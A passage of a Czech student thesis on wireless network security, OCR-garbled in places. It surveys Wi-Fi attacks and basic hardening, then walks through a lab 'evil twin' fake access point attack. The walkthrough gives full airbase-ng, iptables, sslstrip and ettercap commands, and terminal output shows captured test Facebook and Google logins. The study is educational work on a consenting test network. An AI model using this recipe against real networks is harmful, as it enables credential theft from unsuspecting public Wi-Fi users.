Jeden zutokii na WEP vyuZziva specidlni Linuxové distribuce, poptipadé jiny
specializovany software, diky které lze odposlouchavat zaSifrovany provoz
bezdratové sité a pak z odposlechu zjistit Sifrovaci kli¢.

Jeden ze zndmych nedostatkl zabezpeceni je fakt, Ze k inicializa¢nimu vektoru je
pridan sdileny symetricky klic. A tento celek je pak predan kryptografickému
algoritmu RC4. JelikoZ prvni bajty vystupu tohoto kryptografického algoritmu silné
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koreluji s ptivodnim sdilenym Kklicem, lze vyuzit statistické utoky na toto
zabezpeceni.

Pro WEP cracking je nutné mit bezdratovou sitovou kartu, ktera podporuje
takzvany monitorovaci mod. Diky tomuto moédu lze odposlouchavat celou
pocitacovou sit’ a ne jen komunikaci, ktera sméruje od nebo do sitového zarizeni.
Pro dekédovani Sifrovaciho klice z nasbiranych inicializa¢nich vektort se pouZije
specialni software, ktery se pokusi z nasbiranych informaci odhadnout symetricky
Sifrovaci kli€. Pro tyto potreby, respektive pro penetracni testovani pocitacovych
siti, jsou nékteré Linuxové distribuce vybaveny kompletnim potfebnym softwarem.
Tim se tento Utok stava velmi jednoduchy a také pocetné nendrocny, respektive

zvladnutelny na primérném notebooku. [34]

6.3 Denial of Service

DoS, neboli Denial of Service, je utok, kde se snazi utoc¢nik znemoznit piistup
ostatnim uZivatelim ke sluzbé ¢i dat@im. Uto¢nik se snaZi takzvané shodit server.
MiZe jit o pokus o vynuceny restart serveru nebo o prehlceni komunikace mezi
serverem a uZzivatelem. Diky pirehlceni komunikace dojde ke sniZeni nebo tplné
ztraté spojeni se serverem. UZivatelé tedy nemaji piistup k datlim ani sluzbam jako
napiiklad e-mailim nebo internetovému bankovnictvi. Utoénikovi vét$inou nejde
o konkrétni data, ktera by chtél ukrast, ale spiSe o vyrazeni urcité sluzby.

NejcastéjSim DoS utokem je takzvané zaplaveni serveru Zadostmi. Jedna se
o vyzadani webové sluzby, ale nékolikrat za sebou v co nejkratSim ¢asovém useku.
Pokud neni server dostatecné ochranén, tak dojde k vyraznému zpomaleni nebo

Uplnému padu serveru. [35]

6.3.1 Distributed Denial of Service

DDoS, neboli Distributed Denial of Service, je distribuovany DoS utok, ktery vyuziva
vice pocitact k titoku. Casto je DDoS titok veden i bez védomi majiteld dtocicich
pocitact. Pocitace byvaji napadeni virem, ktery na pozadi pocitaCe vSe pripravi
a ve spravny moment také zautoci. Diky této distribuci jsou DDoS utoky mnohem
vétsi a hiite dohledatelné, protoze utoc¢i najednou nékolik pocitacli a majitelé téchto

pocitact o tom ani nemuseji védét. [35]
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6.4 Prolomeni WPS

Diky nedokonalé implementaci WPS, 1ze toto zabezpeceni prolomit s jistotou témér
stoprocentni a viadu nékolika hodin. Prolamovani WPS patfi kjednodussim
utoklim, protoZe neni potireba zachytavat zadny provoz nebo si naptiklad vynucovat
WPA handshake. Zkousi se dokola pouze PIN kéd, utok tedy spada do kategorie
Brute-force, neboli utoky hrubou silou. Jediny predpoklad k utoku je kvalitni signal,
respektive nebyt daleko od bezdratového pristupového bodu.

Diky nedokonalostem WPS lze efektivné optimalizovat Utok a tim tedy zkratit Cas
prolomeni. Zabezpeceni WPS vyuZziva PIN kod, ktery je osmimistné ¢islo. Existuje
tedy 108 variant kédu, neboli 100 000 000 nutnych pokusi pti snaze prolomit
zabezpeceni WPS. Proces ovéreni PIN kodu trva zhruba 3 vteriny a v praxi to nejde
néjak vyrazné urychlit.

Béhem procesu ovérovani se PIN kod déli na dvé poloviny. Obé poloviny obsahuiji
Ctyfti Cislice a navic u druhé poloviny posledni cCislici tvofi kontrolni soucet. A diky
nedokonalé implementaci WPS router odesila specifické odpovédi, ze které je
utocnik schopen odvodit, zda byla prvni a poté i druha ¢ast odeslaného PIN kdédu
spravnda. Vzhledem k této vlastnosti WPS, je mozné optimalizovat algoritmus utoku
tak, Ze se vyrazné zredukuje pocet potiebnych pokust. Diky této vlastnosti existuje
nez 100 000 000 a pii frekvenci ovéiovani 3 vteriny na pokus miize nyni tento utok

trvat maximalné zhruba 9 hodin. [36]

6.5 Dictionary attack

Dictionary attack, neboli slovnikovy utok, je vylepSeni utoku pomoci hrubé sily.
Misto postupného zkouSeni veSkerych kombinaci Cisel a pismen, slovnikovy tutok
zkousi predem pripravena slova z textového souboru.

Tento typ utoku stavi na predpokladu, Ze lidé vyuZivaji lehce uhodnutelna hesla,
a dle statistik uniklych hesel tomu tak opravdu je, jako napiiklad hesla 123456 nebo
password. Na internetu lze ziskat rtizné velké seznamy nejpouzivanéjsSich hesel
nebo uz primo pripravené slovniky pro slovnikovy utok. I kdyZ se slovnik o obsahu
milionl poloZek, respektive hesel, miize zdat veliky, poiad je to méné kombinaci,

neZ pri pokusu obycejného utoku pomoci hrubé sily.
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Je vhodné také zminit, Ze slovnikovy utok bude riizné efektivni pro rizné jazyky.
Minimalné anglické slovniky jsou velmi rozsahlé a nékteré dokonce i pocitaji
s preklepy nebo slangy.

Slovnikovy utok je sdim o sobé velmi jednoduchy, jedna se o pripraveny skript, ktery
pouze zkousi hesla z daného slovniku.

Spravné zabezpeceny server dovoli pouze urcity pocet pokusli a pak relaci

zablokuje, aby pravé nedoslo k prolomeni pomoci slovnikového utoku. [37]

6.6 Man-in-the-middle

Man-in-the-middle, neboli doslovné muz uprostied, zkratkou také oznacovan jako
MITM, je utok, jehoz cilem je ziskdni moZnosti Cist, upravovat, vkladat nebo jen
kontrolovat data v pocitacové siti. MITM miiZe umoznit také spoustu dal$ich utokd.
Podstata MITM utoku je, Ze se bezdratovy pristupovy bod nachazi v pocitacové siti
mezi dvéma uzly X a Y. Jedna se tedy o tieti uzel Z, pres ktery jde veSkera
komunikace, kterd je mezi témito dvéma uzly X a Y. Uzel Z se nemusi fyzicky
nachazet mezi uzly X a Y, ale staci, aby byl ve stejné pocitacové siti. Staci pouze
zménit konfiguraci sitovych zarizeni, naptiklad podstréenim upravené ARP tabulky,
neboli ARP poisoning. Zadny z uZivatel@i, v idedlnim p¥ipadé ani spravce pocitacové
sité, nevi o existenci tretiho uzlu Z v této siti.

MITM utok je spiSe pouzivan pro aktivni manipulaci s pocitacovou siti, nez pouze

pro odposlech sitové komunikace. [38] [39]

6.7 Rogue Access Point

Rogue Access Point je bezdratovy pristupovy bod, ktery byl pridan do podnikové
pocitacové sité bez souhlasu spravce sité. Rogue Access Point miize byt
do pocitacové sité pridan nevédomé zaméstnancem firmy, ktery si neni védom, Ze
timto jednanim ohroZuje celou podnikovou pocitacovou sit. Nebo je Rogue Access
Point védomé nasazen v podnikovém prostiedi zdmérné jako pokus o utok
na vnitini pocitacovou sit.

Rogue Access Point predstavuje zavaznou bezpecnostni hrozbu, protoze poskytuje

bezdratovy pristup do podnikové pocitaCové sité pro lidi, kteri by pristup do dané
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sité mit neméli. Pomoci Rogue Access Pointu lze obchazet bezpecnostni opatient,
jako napriklad firewall nebo NAC, neboli Network Access Control. [40]

Uto¢nik diky Rogue Access Point pronikne nenasilné do podnikové sité a zde miiZe
pachat skody. Rogue Access Point Ize vyuzit k dalsim atoktm, jako naptiklad Man-
in-the-middle nebo DoS.

Jedna se o utok, kterému se Spatné predchazi, protoZe je obtiZné zarucit, Ze vSichni
zameéstnanci jsou vZdy seznameni s bezpecnostni politikou podnikové sité. Staci,
aby se jeden ze zaméstnanctli rozhodl, Ze si udéla ve své kancelati bezdratovou sit
Wi-Fi pro své vlastni potreby a zapoji do podnikové pocitacové sité bezdratovy
pristupovy bod, ktery miize byt Spatné nakonfigurovan, nebo i viibec, a hned
vznikne pristup do podnikové sité v rozsahu signalu bezdratové sité, tedy klidné

i z chodniku pred kancelari. [41]
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7 Zasady elementarniho zabezpecéeni

Zasady elementarniho zabezpeceni jsou prvky zabezpecleni, které by videalnim
pripadé méla obsahovat kazda bezdratova pocitaCova sit. Obecné jsou tyto zasady
snadno implementovatelné a vyrazné zvysi bezpecnost dané bezdratové sité.
Ne vzdy je moZné vyuzit vSechny prvky elementarniho zabezpeceni.

Elementarni zabezpeceni bezdratové pocitacové sité sice neodradi od utoku
zkuSeného utocnika, ale miiZe odradit ndhodné Utocniky s mensimi znalostmi nebo
utok minimalné zkomplikovat a diky tomu také navysit ¢as potiebny na provedeni

utoku, respektive navysit cas na mozné odhaleni daného utoku. [32]

7.1 Tovarni nastaveni bezdratového pristupového bodu

Zména tovarniho nastaveni u bezdratového piistupového bodu je jeden
o bezdratovou sit Wi-Fi kavarny, mélo by dojit ke zméné tovarniho nastaveni.

Vyrobci bezdratovych pristupovych bodi pridéluji defaultni prihlaSovaci udaje
do administratorské sekce pristupového bodu. VétSinou jsou tyto tidaje stejné pro
vSechny vyrobky jedné znacky. Defaultni prihlasovaci udaje jsou verejné znamé,
nebo minimalné dohledatelné v dokumentaci konkrétniho vyrobku na strankach
vyrobce. S tim také souvisi SSID bezdratové sité, ze kterého by nemélo byt jasné,

o jaky bezdratovy pristupovy bod se jedna. [32]

7.2 SSID

Z SSID bezdratové pristupové sité by nemélo byt na prvni pohled jasné, kdo je
vlastnik bezdratové sité, nebo o jaky typ bezdratového pristupového bodu se jedna.
Tim se zmensi Sance, Ze si bezdratovou sit nékdo vytipuje podle dalSich okolnosti.
Okolnosti spojené napriklad s konkrétni osobou nebo vyrobcem sitového zarizeni.

DalSi moznost je SSID kompletné skryt, respektive zamezit vSesmérovému vysilani

SSID. To opét miiZe vyrazné snizit ndhodné utoky. [32]

7.3 Slozitost hesla

Slozitost hesla je casto opomijeny prvek zabezpeceni bezdratové sité. Heslo

do bezdratové sité by nemélo byt lehce uhodnutelné k dané siti, osobé nebo
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prostredi. Nemélo by se jednat o slovnikové heslo ani kombinaci spojenim slova
ze slovniku a ¢islem na konci nebo zac¢atku hesla.

SloZitost by méla byt primo imérna ke konkrétni bezdratové siti, tedy poZadovana
sloZitost miiZe byt rozdilna u podnikové pocitacové siti a bezdratové siti pro domaci
vyuziti. Heslo by mélo byt alesponl 8 az 12 znaki dlouhé a mélo by obsahovat
pismena, ¢isla a specialni znaky, pripadné i kombinaci malych a velkych pismen.
Heslo kbezdratové siti by nemélo byt stejné sheslem pro administraci
bezdratového pristupového bodu. SloZitost hesla k administraci by méla byt o néco

vétsi nez u hesla k bezdratové siti. [32]

7.4 Filtrace MAC adres

U menSich bezdratovych siti je také vhodné vyuzit filtrovani MAC adres. Tedy
vytvorit seznam MAC adres, které maji mit pristup do pocitacové sité. U vétSich siti
miiZe nastat problém se spravou rozsahlého seznamu povolenych sitovych zarizent,

zvlast pokud se zarizeni casto méni. [32]

7.5 Bezpecnostni opatreni hardwaru

Bezpecnostni opatreni pro fyzicky pristup k sitovym zarizenim je logicky prvek
zabezpeceni hlavné u podnikovych pocitacovych siti. Jednd se o mechanickou
ochranu, aby se uto¢nik nemohl primo fyzicky pripojit ksitovym zarizenim
a zarizeni restartovat nebo zménit konfiguraci.

Mechanicka ochrana také snizuje riziko poskozeni nebo zniceni sitovych zarizeni.

[32]

7.6 Dosah bezdratoveé sité

Dosah bezdratové sité nemusi nutné koncit jen v kanceldfi nebo v byté, ale
bezdratova sit miize byt i pristupna z ulice nebo jinych nevhodnych mist. Zalezi
na umisténi bezdratového pristupového bodu, materialu okoli a vykonu antén.

Jedno zrteSeni je umistit bezdratovy piistupovy bod tak, aby vysilal pouze
na pozadovanou plochu, naptiklad umisténi bezdratového pristupového bodu
doprostred mistnosti. DalSi feSeni je omezeni vysilaciho vykonu antény pouze

na dostatecny vykon. V ideadlnim piipadé tak, aby bezdratovy pristupovy bod vysilal
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pouze takovy signdl, ktery lze vyuZit v dané mistnosti a signal se nedostal pres zdi
ven do vedlejsich mistnosti nebo na ulici.
V urcitych pripadech lze i vyménit vSesmérové antény za sektorové a tim docilit

pouze urcitého vysilaciho sméru bezdratové sité. [32]

7.7 Uzivatelé bezdratoveé sité

VSichni wuzivatelé bezdratové sité by meéli byt prosSkoleni a informovani
o bezpecnostni politice dané pocitacové sité. Zvlasté v pripadé, pokud uzivatelé
disponuji hesly nebo fyzickym pristupem k sitovym zarizenim.

Je vhodné také poucit uzivatele komu a za jakych okolnosti mtzou sdélit konkrétni

informace o bezdratové siti. [32]

7.8 Bezpecnostni mechanismy

Jednim z dtlezitych prvka elementarniho zabezpeceni je aktivace vestavénych
bezpecnostnich mechanismt v dané bezdratové siti. Vzdy je vhodné vyuzit to
nejlepsi, co dana bezdratova sit nabizi, momentalné tedy zabezpeceni WPA2, které

stale nabizi vysokou miru zabezpeceni. [32]
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8 Podvrzeni AP a jeho dusledky

Utok na bezdratovou sit Wi-Fi pomoci fale$ného bezdratového piistupového bodu
je lehce proveditelny utok na kterékoliv nezabezpecené siti pomoci velmi malych
narokt na vybaveni a ¢as. Uto¢nici vyuZivaji tuto techniku ke kradezi citlivych dat
uzivatell na nezabezpecenych sitich.

Tento druh utoku je spojovan s nékolika prezdivkami, respektive nazvy utokd,
napiiklad Ewil Twin nebo Honeypot AP. VZdy jde ale o stejny princip, tedy vytvoreni
faleSného bezdratového piistupového bodu, ke kterému se uZivatelé piipoji
a utoc¢nik tak ziska rtizné prihlasovaci udaje.

Pro ziskani citlivych dat uzivatelli se vyuZziva specidlni software, ktery je navrzen
tak, aby zachytaval data, ktera jsou poslana po siti. Nejcastéji se jedna o zneuZiti
nékterého specializovaného softwaru, ktery byl navrZen pro penetracni testovani.
pomoci Fake AP je nejcastéji vyuzivan na verejnych mistech jako napriklad kavarny,
letiSté nebo autobusové a vlakové nadraZi, respektive takové verejné misto, kde se
da ocekavat otevirena bezdratova sit. Nikomu nebude podezrelé, kdyZ na vlakovém
nadrazi bude bezdratova sit Wi-Fi snazvem ,CD Free WiFi“ a to samé plati
i pro ostatni vefejnd mista. Je tedy diilezité vhodné zvolit nazev bezdratové sité
a misto utoku.

P¥i tomto tGtoku tto¢nik nejvice spoléha na nevédomost a neznalost uZivatele. Utok
je tedy mifeny spiSe na bézZného uzivatele, tedy takového, ktery si nekontroluje

certifikaty zabezpeceni jednotlivych webu a podobné. [42]

8.1 Navrh utoku pomoci Fake AP

Pro tutok byl pouzit nasledujici scénar, aby bylo moZné si tento Gtok predstavit v co
nejvice realném prostredi. Proto i pres testovaci nazvy jednotlivych zarizeni bude
pouzito ve scénari umélé prostredi kavarny.

Testovaci prostfedi je tedy kavarna, kde se hosté mizou pripojit k mistni
bezdratové siti kavarny. Nazev této bezdratové sité Wi-Fi je ,TestovaciSit“. Bude

brano i v potaz, Ze bezdratovy pristupovy bod neni fyzicky verejné dostupny a je
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napiiklad schovany nékde ve skiini nebo ve vedlejsi mistnosti tak, aby
k pristupovému bodu nemél pristup nikdo cizi.

V horni ¢asti navrhu Obr. 4 je vidét normalni priibéh komunikace v bezdratové siti
Wi-Fi. UZivatel pristupuje kinternetu pres bezdratovy pristupovy bod, ktery
poskytuje bezdratovou sit’ , TestovaciSit“.

Budouci uto¢nik miize uz vkavarné byt a nemusi nutné hned utocit. Celd
konfigurace ttoku je totiZ pti Fadné piipravé otdzkou nékolika minut. Uto¢nik se
také nemusi nutné vyskytovat primo v misté utoku, tedy v kavarné. Miize napriklad
sedét na lavicce pred kavarnou nebo vlastnit byt nad kavarnou.

Jakmile si uto¢nik pripravi notebook s potiebnou konfiguraci, diky které veSkera
komunikace piijde pies néj, miize ihned zacit sbirat citlivé tidaje. MiiZe tedy ziskat
napiiklad prihlaSovaci Udaje ke-mailu, socidlnim sitim nebo internetovému
bankovnictvi. Jak vypada provoz takové sité béhem utoku je vidét v dolni casti
navrhu Obr. 4.

Jakmile dto¢nik dokond¢i utok, respektive posbira dostatecné mnozstvi dat, vSe se
vrati k normalnimu provozu a bezdratova sit bude opét fungovat dle horni ¢asti
navrhu Obr. 4. Obéti utoku v momenté utoku nemusi viibec tusit, Ze se staly tercem

utoku. Dokud dtocnik nezneuZije citliva data, nikdo nemusi védét, Ze doslo k utoku.
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UzZivatel

AP nezabezpeéena sit
L TestovaciSit”

1

UZivatel

AP nezabezpefena sit
»TestovaciSit”

»TestovaciSit”

Obr. 4 Navrh ttoku pomoci Fake AP, [Zdroj: autor prace]

Pro znazornéni univerzalnosti tohoto ttoku si Ize predstavit velmi podobny scénar
na kterémkoliv jiném misté. Nejvhodnéjsi je ale kavarna nebo letiSté. Tedy mista,
kde uzivatel chce vyuZzivat internet, tfeba naptiklad i pri cekani na let.

Tento utok jde i pouZit v misté, kde Zadny internet, respektive nezabezpecena
bezdratova sit Wi-Fi, neni. Napriklad pti rliznych verejnych akci nebo na namésti
lze vyuzit chytry telefon s mobilnim ptipojenim. Chytry telefon se pouzije opét jako
okrajovy bod sité, pres ktery je pristup do internetu. Ale misto primého sdileni

bezdratové sité Wi-Fi pres telefon, se provede opét stejnd konfigurace jako
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u normalniho Gtoku. Tedy veskera komunikace ptijde pres notebook, kde pomoci

specializovanych nastroji 1ze sbirat citliva data ze sitové komunikace.

8.2 Podminky testovani

Tento testovaci utok probéhl na soukromé testovaci bezdratové siti, kde byli vSichni
uzivatelé predem sezndmeni s priibéhem testovani a prezentaci vyslednych

ziskanych dat.

8.2.1 Hardware

K testovani utoku na bezdratovou sit Wi-Fi pomoci faleSného bezdratového
pristupového bodu byl pouzit nasledujici hardware.

Jako okrajovy piistupovy bod, tedy bezdratovy bod, ktery uzaviral soukromou
testovaci sit, byl pouzit Wi-Fi router schipsetem Atheros. Tento bezdratovy
pristupovy bod byl nakonfigurovan tak, Ze vysilal nezabezpecenou Wi-Fi s ndzvem
»TestovaciSit“ a byl také branou do internetu. V tomto utoku slouzil jako nahrada
bezdratového pristupového bodu napriklad v kavarné, tedy takového bezdratového
bodu, ke kterému nema vétSinou utoc¢nik piistup.

Pro pristup do bezdratové sité byl pouzit chytry telefon s opera¢nim systémem
Windows Phone. Pro vyuZivani bezdratové sité Wi-Fi byl vyuzZit defaultni
internetovy prohliZec telefonu.

Uto¢nik mél k dispozici notebook a USB bezdratovy adaptér s chipsetem Atheros,
ktery je kompatibilni s Linux distribuci Kali. Jako operac¢ni systém byl pouZit Linux
Kali, ktery byl nabootovan z Live USB. Uto¢nik mél tedy k dispozici dvé bezdratové

sitové karty, interni z notebooku a USB sitovy adaptér.

8.2.2 Software

K testovani utoku na bezdratovou sit Wi-Fi pomoci faleSného bezdratového
pristupového bodu byl pouzit nasledujici software, ktery je k dispozici v operacnim
systému Kali Linux.

Kali Linux je linuxova distribuce urena pro penetracni testovani a analyzu
pocitacovych siti. Jedna se o nejrozsirenéjSi nastroj pro takzvany eticky hacking,

znamy také jako white hacking. Eticky hacker se snazi odhalit bezpecnostni rizika
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pocitacové sité namisto klasického hackovani, pri kterém by dochazelo napriklad
ke kradezi citlivych dat nebo ke snaze jinak poskodit pocitacovou sit.

Pomoci néstroje Airbase-ng, ktery je v balicku nastrojii Aircrack-ng, byla vytvorena
bezdratova sit Wi-Fi s potfebnym nazvem a na urcitém kanalu.

DalSi nastroj, ktery byl pouzit je SSLStrip. Tento nastroj donuti uZivatele pouzit
nesSifrovanou verzi webu http, misto https varianty, ktera vyuziva Sifrovani.
Bez nastroje SSLStrip by sice Slo dale odposlouchavat komunikaci na bezdratové siti,
ale veSkeré hesla a citlivé tidaje by byly zaSifrované.

Poslednim klicovym nastrojem je Ettercap. Ettercap je viceucelovy sniffer, ktery
pomoci sitové Kkarty, kterd je v monitorovacim moédu, miZe analyzovat
a odposlouchavat komunikaci v siti. Nastroj Ettercap byl nakonfigurovan tak, aby

vypisoval piihlasovaci udaje a URL adresu primo do prikazové radky.

8.3 Konfigurace Kali Linux

Pro testovaci utok byl pouZit notebook soperacnim systémem Linux Kali
v neupravené konfiguraci, ktery byl nabootovan pomoci Live USB. Na vytvoreni
testovaného faleSného bezdratového bodu byla pouzita nasledujici konfigurace. Je
vhodné zminit, Ze existuje nespocet tutoridli a ndvodd jak vytvorit faleSny
bezdratovy pristupovy bod. Tato konfigurace fungovala pro zvolené testovaci
prostredi.

Jako prvni je potieba doinstalovat do cCisté distribuce Linuxu Kali DHCP server.

#Nainstaluje DHCP server

apt-get install isc-dhcp-server

Jakmile je DHCP server nainstalovan, je vhodné pripravit si konfiguracni DHCP
soubor pro praci s DHCP serverem. Tim se zajisti, Ze DHPC server bude pridélovat
klientlim spravny server DNS a také vhodné zvolenou IP adresu, aby bylo mozné
nastavit preposilani. V konfiguracnim souboru je také moZné nastavit dobu

pronajmu IP adresy a dalSi moZné nastaveni.

#O0tev¥e konfiguracéni soubor

leafpad /etc/dhcp/dhcpd ap.conf
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#0Obsah konfigurac¢niho souboru

option domain-name-servers 8.8.8.8, 8.8.4.4;
default-lease-time 600;

max-lease-time 7200;

option T150 code 150 = string;

deny client-updates;

one-lease-per-client false;

allow bootp;

ddns-updates off;

ddns-update-style none;

authoritative;

subnet 192.168.3.0 netmask 255.255.255.0 {
interface at0;

range 192.168.3.2 192.168.3.254;

option routers 192.168.3.1;

option subnet-mask 255.255.255.0;

option broadcast-address 192.168.3.255;
option domain-name-servers 8.8.8.8;

allow unknown-clients;

}

Po fyzickém pripojeni USB adaptéru do téla notebooku je nutné se pomoci prikazu
ifconfig ujistit, Ze operacni systém rozpoznal vSechny sitové karty. Ne vzdy Linux
Kali dokaZze USB adaptér rozpoznat. Pouze urcité USB adaptéry s konkrétnimi
chipsety jsou vhodné pro penetracni testovani pomoci nastrojt v Linux Kali, proto
je dobré pred nakupem prisluSenstvi tyto informace ovérit napiiklad na Linux foru,
kde byvaji vypsany kompatibilni bezdratové USB adaptéry.

Jak je ale vidét na snimku z obrazovky Obr. 5 v tomto ptipadé operacni systém obé
sitové karty bez problému rozpoznal, respektive interni sitovou kartu notebooku
a externi sitovy USB adaptér.

Nyni je tedy vSe pripravené pro start atoku, respektive jsou doinstalovany veskeré
potiebné chybéjici dodatkové nastroje, které nejsou soucasti operacniho systému
Linux Kali. Nainstalovan DHCP server, pripraven konfigura¢ni soubor DHCP serveru
a operacni systém ma spravny firmware a umi pracovat se sitovymi kartami, které

jsou k dispozici.
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root@kali: ~ (- NC) 0'
File Edit View Search Terminal Help

:~# ifconfig
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid Ox10<host>
loop txqueuelen O (Local Loopback)
RX packets 80 bytes 6016 (5.8 KiB)
RX errors 0@ dropped @ overruns @ frame 0
TX packets 80 bytes 6016 (5.8 KiB)
TX errors 0 dropped O overruns 0 carrier 0 collisions 0@

wlan0O: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.100 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 feB0::5eeB:c5ff:fe79:91c7 prefixlen 64 scopeid Ox20<link>
ether 5c:e0:c5:79:91:c7 txqueuelen 1000 (Ethernet)

RX packets 2371 bytes 2414364 (2.3 MiB)

RX errors 0 dropped @ overruns Q@ frame 0

TX packets 1372 bytes 190667 (186.1 KiB)

TX errors @ dropped O overruns 0 carrier @ collisions 0@

wlanl: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether f4:f2:6d:16:00:6c txqueuelen 1000 (Ethernet)
RX packets @ bytes 0 (0.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 0@ bytes 0 (0.0 B)
TX errors 0@ dropped O overruns 0 carrier 0 collisions 0

Obr. 5 Sitova rozhrani, [Zdroj: autor prace]

Aby bylo mozZné odposlouchavat vesSkerou bezdratovou komunikaci je potieba mit
sitovou kartu v monitorovacim moédu. V testu je pouZit USB bezdratovy adaptér

pro monitorovaci méd. Druha sitova karta, interni, zistadva nadale v médu Managed.

#P¥epne sitovou kartu do monitorovaciho reZimu
ifconfig wlanl down
iwconfig wlanl mode monitor

ifconfig wlanl up

Pomoci ptikazu iwconfig lze zkontrolovat, zda se sitova karta prepnula
do monitorovaciho médu. Prepinat médy sitovych karet lze vice zpiisoby, ale kazdy
zplsob se hodi za trochu odliSnych podminek. Postup, ktery je vySe, je vhodny,
pokud se jedna o dvé bezdratové karty a je zapotiebi prepnout pouze jednu kartu

do monitorovaciho médu.
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root@kali: ~ (- 0 )

File Edit View Search Terminal Help

:~# iwconfig

IEEE 802.1labgn ESSID:"TestovaciSit"

Mode:Managed Frequency:2.417 GHz Access Point: C4:E9:84:28:ED:1E
Bit Rate=270 Mb/s Tx-Power=22 dBm

Retry short limit:7 RTS thr:off Fragment thr:off

Encryption key:off

Power Management:on

Link Quality=63/70 Signal level=-47 dBm

Rx invalid nwid:® Rx invalid crypt:0 Rx invalid frag:0

Tx excessive retries:0 Invalid misc:3  Missed beacon:0

no wireless extensions.

IEEE 802.11bgn Mode:Monitor Frequency:2.412 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

i~ [ ]

Obr. 6 Monitorovaci méd wlan1, [Zdroj: autor prace]

Pomoci nastroje Airbase-ng lze vytvorit poZadovany pristupovy bod. Zde je

konkrétné vytvorena bezdratova sit Wi-Fi s ndzvem ,TestovaciSit“, ktera bude

vysilana na kanalu devét. Kanal je vhodné zvolit podle mistniho vytiZeni kanal{, aby

dochazelo co k nejmensimu ruseni a signal byl co nejsilnéjsi.

#Vytvori

bezdratovou sit Wi-Fi na kandlu c¢islo 9 s nazvem TestovaciSit

airbase-ng -e "TestovaciSit" -c 9 wlanl &

Poté je zapnuto nové vytvorené rozhrani at0 a je mu piidélena IP adresa. Také jsou

nastaveny pravidla pro pieposilani.

#Otevrit
#Alokace
ifconfig

ifconfig

novy termindl

IP adres a pravidla pfeposilani v iptables
at0 up

at0 192.168.3.1 netmask 255.255.255.0

route add -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.3.1

iptables
iptables
iptables
REDIRECT

-P FORWARD ACCEPT

-t nat -A POSTROUTING -o wlanO -3 MASQUERADE

-t nat -A PREROUTING -p tcp -i at0 --destination-port 80 -3
-—to-port 10000
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Nasleduje zapnuti nastroje SSLStrip, ktery zajisti podvrhnuti https stranky, strankou

http, tedy webové stranky nevyuzivajici Sifrovani.

#Spusti néstroj SSLStrip
sslstrip -f -p -1 10000

V nasledujicim kroku se zapne DHCP server s konfiguraci, kterd je nastavena
v konfigura¢nim souboru DHCP. Také se spusti nastroj Ettercap, ktery odchytava
sitovou komunikaci a vypisuje ji do terminalu. Tato konfigurace nastroje zajisti, Ze
bude vypisovat pouze Udaje zajimavé pro utoc¢nika, tedy prihlasovaci idaje a odkaz,

ze kterého prihlasovaci tidaje pochazeji.

#O0tevfit novy termindl

#Spusti DHCP server

echo > '/var/lib/dhcp/dhcpd. leases'

In -s /var/run/dhcp-server/dhcpd.pid /var/run/dhcpd.pid
dhcpd -d -f -cf /etc/dhcp/dhcpd ap.conf at0 &

#Oteviit novy termindl
#Spusti nastroj Ettercap
ettercap -p -u -T -q -i atO0

Poté se uz jen povoli preposilani a konfigurace pro utok je hotova. Nyni se tedy

vysila, nasloucha a utodi.

#Oteviit novy termindl
#Povoli preposilani

echo "1" > /proc/sys/net/ipv4/ip forward

8.4 Prubéh utoku

Jakmile je konfigurace hotova, tak utok probiha, respektive ceka se pouze na obét.
Uto¢nik vredlném case vidi, kdyZ se uZivatel pokousi pripojit k bezdratové siti.
DHCP server vypisuje komunikaci mezi uZivatelem do terminalu. Na snimku

z obrazovky Obr. 7 je vidét pripojeni uZivatele a jeho MAC adresa a typ zarizeni.
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File Edit View Search Terminal Help

Server starting service.
DHCPDISCOVER from Oc:e7:25:5¢c:2f:c0 via at0
DHCPOFFER on 192.168.3.2 to Oc:e7:25:5c:2f:c0 (Windows-Phone) via at0

DHCPREQUEST for 192.168.3.2 (192.168.3.1) from Oc:e7:25:5¢c:2f:c0 (Windows-Phone)
via at0
DHCPACK on 192.168.3.2 to 0c:e7:25:5c:2f:c0 (Windows-Phone) via at0

Obr. 7 Pripojeni uzivatele, [Zdroj: autor prace]

Tato konfigurace utoku je nastavena tak, aby nebyla takzvané ukecana, vypisuji se
tedy jen diilezité udaje jako asociace uzivatele a poté pokusy o prihlaseni. Na snimku
z obrazovky Obr. 8 je vidét pokus o prihlaSeni do mobilni verze socialni sité
Facebook. Nastroj Ettercap vypiSe do terminalu prihlaSovaci jméno a heslo, a také

odkaz z kterého prihlasovaci udaje prisly.

root@kali: ~ (- O )
File Edit View Search Terminal Help

NI R B T aNc [oRE - IO ISER : FBtestovacilogin PASS: FBtestovaciheslo

INFO: http://m.facebook.com/?refsrc=https://www.facebook.com/& rdr
CONTENT: 1sd=AVqgBF5z&charset test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B
4%2C%E6%BO%B4%2C%D0%94%2C%D0%84&version=1&aj ax=0&width=0&px r=0&gps=0&dime

nsions=0&m_ ts=1460532720&11=8PUNV362JUBdF40591EtwY1N&email=FBtestovacilog
in&pass=FBtestovaciheslo

Obr. 8 Odchycené prihlasovaci idaje z facebook.com, [Zdroj: autor prace]

Nastroj Ettercap poté vypisuje do termindlu vSechny uZivatelem odeslané pokusy
o prihlaseni. Na snimku zobrazovky Obr. 9 lze vidét prihlaSeni do e-mailu
na strankach google.com. Utoé¢nik tedy ziskal piihlasovaci idaje do e-mailu obéti.

UZivatel nema ponéti, Ze mu byly zjiStény citlivé prihlaSovaci udaje.
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File Edit View Search Terminal Help

AR A2l WA R PSS [ ISER : testovacimail PASS: TestovaciHeslol23

INFO: http://accounts.google.com/AccountLoginInfo

CONTENT : Page=PasswordSeparationSignIn&GALX=6j10a25d9Ic&gxf=AFoagUV-seB81R
B sQ70-IDjg4iMOz2gE]j A%3A1460532641310&continue=http%3A%2F%2Fwww.google.cz
%2F%3Fgfe rd%3Dc r%26ei%3D1vUNVEbXDM7R8geRs r6 IBA%26zx%3D1460532630&btmpl=m
obile tier2&hl=cs&Profilelnformation=APMTquk9QzM3i764mvb RsTii5FUif81GzKD
